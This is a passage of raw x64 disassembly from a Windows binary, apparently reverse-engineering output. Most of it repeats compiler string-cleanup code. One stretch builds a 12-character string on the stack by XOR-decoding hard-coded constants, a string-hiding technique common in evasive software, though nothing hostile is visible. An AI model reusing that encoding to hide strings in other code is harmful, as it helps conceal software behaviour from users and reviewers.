jb 0x14005e257
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005e257
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400668e4
lea rdx, [rbp + 0x218]
cmp qword [rbp + 0x230], 8
cmovae rdx, qword [rbp + 0x218]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rdi
mov r8, qword [rbp + 0x228]
lea rcx, [rsp + 0x40]
call fcn.140002ad0
nop
lea rcx, [rsp + 0x40]
call fcn.14005cc90
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x14005e2e7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e2e2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005e2e2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400668e4
lea rdx, [rbp + 0x1f8]
cmp qword [rbp + 0x210], 8
cmovae rdx, qword [rbp + 0x1f8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rdi
mov r8, qword [rbp + 0x208]
lea rcx, [rsp + 0x40]
call fcn.140002ad0
nop
lea rcx, [rsp + 0x40]
call fcn.14005cc90
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x14005e372
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e36d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005e36d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400668e4
lea rdx, [rbp + 0x1d8]
cmp qword [rbp + 0x1f0], 8
cmovae rdx, qword [rbp + 0x1d8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rdi
mov r8, qword [rbp + 0x1e8]
lea rcx, [rsp + 0x40]
call fcn.140002ad0
nop
lea rcx, [rsp + 0x40]
call fcn.14005cc90
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x14005e3fd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e3f8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005e3f8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400668e4
lea rdx, [rbp + 0x1b8]
cmp qword [rbp + 0x1d0], 8
cmovae rdx, qword [rbp + 0x1b8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rdi
mov r8, qword [rbp + 0x1c8]
lea rcx, [rsp + 0x40]
call fcn.140002ad0
nop
lea rcx, [rsp + 0x40]
call fcn.14005cc90
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x14005e488
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e483
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005e483
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400668e4
lea rdx, [rbp + 0x198]
cmp qword [rbp + 0x1b0], 8
cmovae rdx, qword [rbp + 0x198]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rdi
mov r8, qword [rbp + 0x1a8]
lea rcx, [rsp + 0x40]
call fcn.140002ad0
nop
lea rcx, [rsp + 0x40]
call fcn.14005cc90
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x14005e513
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e50e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005e50e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400668e4
lea rdx, [rbp + 0x238]
cmp qword [rbp + 0x250], 8
cmovae rdx, qword [rbp + 0x238]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rdi
mov r8, qword [rbp + 0x248]
lea rcx, [rsp + 0x40]
call fcn.140002ad0
nop
lea rcx, [rsp + 0x40]
call fcn.14005cc90
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x14005e59f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e599
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005e599
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400668e4
nop
mov rdx, qword [rbp + 0x250]
cmp rdx, 8
jb 0x14005e5e8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x238]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e5e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005e5e3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400668e4
mov qword [rbp + 0x248], rdi
mov qword [rbp + 0x250], 7
mov word [rbp + 0x238], di
mov rdx, qword [rbp + 0x178]
cmp rdx, 8
jb 0x14005e64a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e645
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005e645
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400668e4
mov dword [rsp + 0x40], 0xd7bed785
mov dword [rsp + 0x44], 0xd785d7bd
mov dword [rsp + 0x48], 0xd7a1d7a4
mov dword [rsp + 0x4c], 0xd79cd78b
mov dword [rsp + 0x50], 0xd7bed7f4
mov dword [rsp + 0x54], 0xd7b8d7a4
mov word [rsp + 0x58], di
mov byte [rsp + 0x5a], 1
mov rcx, rdi
nop word [rax + rax]
movzx eax, cx
sub ax, si
xor word [rsp + rcx*2 + 0x40], ax
inc rcx
cmp rcx, 0xc
jb 0x14005e690
mov byte [rsp + 0x5a], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x170], xmm1
mov r8d, 0xc
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x160]
call fcn.140002ad0
nop
lea rcx, [rbp + 0x160]
call fcn.14005c910
nop
mov rdx, qword [rbp + 0x178]
cmp rdx, 8
jb 0x14005e72d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e727
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005e727
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400668e4
nop
mov rdx, qword [rbp + 0x1d0]
cmp rdx, 8
jb 0x14005e776
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e771
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005e771
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400668e4
mov qword [rbp + 0x1c8], rdi
mov qword [rbp + 0x1d0], 7
mov word [rbp + 0x1b8], di
mov rdx, qword [rbp + 0x1f0]
cmp rdx, 8
jb 0x14005e7d8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e7d3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005e7d3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400668e4
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1f0], 7
mov word [rbp + 0x1d8], di
mov rdx, qword [rbp + 0x210]
cmp rdx, 8
jb 0x14005e83a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e835
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005e835
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400668e4
mov qword [rbp + 0x208], rdi
mov qword [rbp + 0x210], 7
mov word [rbp + 0x1f8], di
mov rdx, qword [rbp + 0x230]
cmp rdx, 8
jb 0x14005e89c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x218]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e897
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005e897
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400668e4
mov qword [rbp + 0x228], rdi
mov qword [rbp + 0x230], 7
mov word [rbp + 0x218], di
mov rdx, qword [rbp + 0x1b0]
cmp rdx, 8
jb 0x14005e8fe
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x198]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e8f9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005e8f9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400668e4
mov qword [rbp + 0x1a8], rdi
mov qword [rbp + 0x1b0], 7
mov word [rbp + 0x198], di
mov rdx, qword [rbp + 0x270]
cmp rdx, 8
jb 0x14005e960
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x258]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e95b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005e95b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400668e4
movdqa xmm0, xmmword [0x1400eb840]
movdqu xmmword [rbp + 0x268], xmm0
mov word [rbp + 0x258], di
mov rdx, qword [rbp + 0x290]
cmp rdx, 8
jb 0x14005e9c0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x278]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e9bb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005e9bb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400668e4
movdqa xmm0, xmmword [0x1400eb840]
movdqu xmmword [rbp + 0x288], xmm0
mov word [rbp + 0x278], di
mov rdx, qword [rbp + 0x2b0]
cmp rdx, 8
jb 0x14005ea20
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x298]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005ea1b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005ea1b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400668e4
movdqa xmm0, xmmword [0x1400eb840]
movdqu xmmword [rbp + 0x2a8], xmm0
mov word [rbp + 0x298], di
mov rdx, qword [rbp + 0x2d0]
cmp rdx, 8
jb 0x14005ea80
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x2b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005ea7b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005ea7b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400668e4
movdqa xmm0, xmmword [0x1400eb840]
movdqu xmmword [rbp + 0x2c8], xmm0
mov word [rbp + 0x2b8], di
mov rdx, qword [rbp + 0x2f0]
cmp rdx, 8
jb 0x14005eae0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x2d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005eadb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005eadb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400668e4
mov rcx, qword [rbp + 0x2f8]
xor rcx, rsp
call fcn.140066880
lea r11, [rsp + 0x400]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001610
nop
call fcn.140001610
int3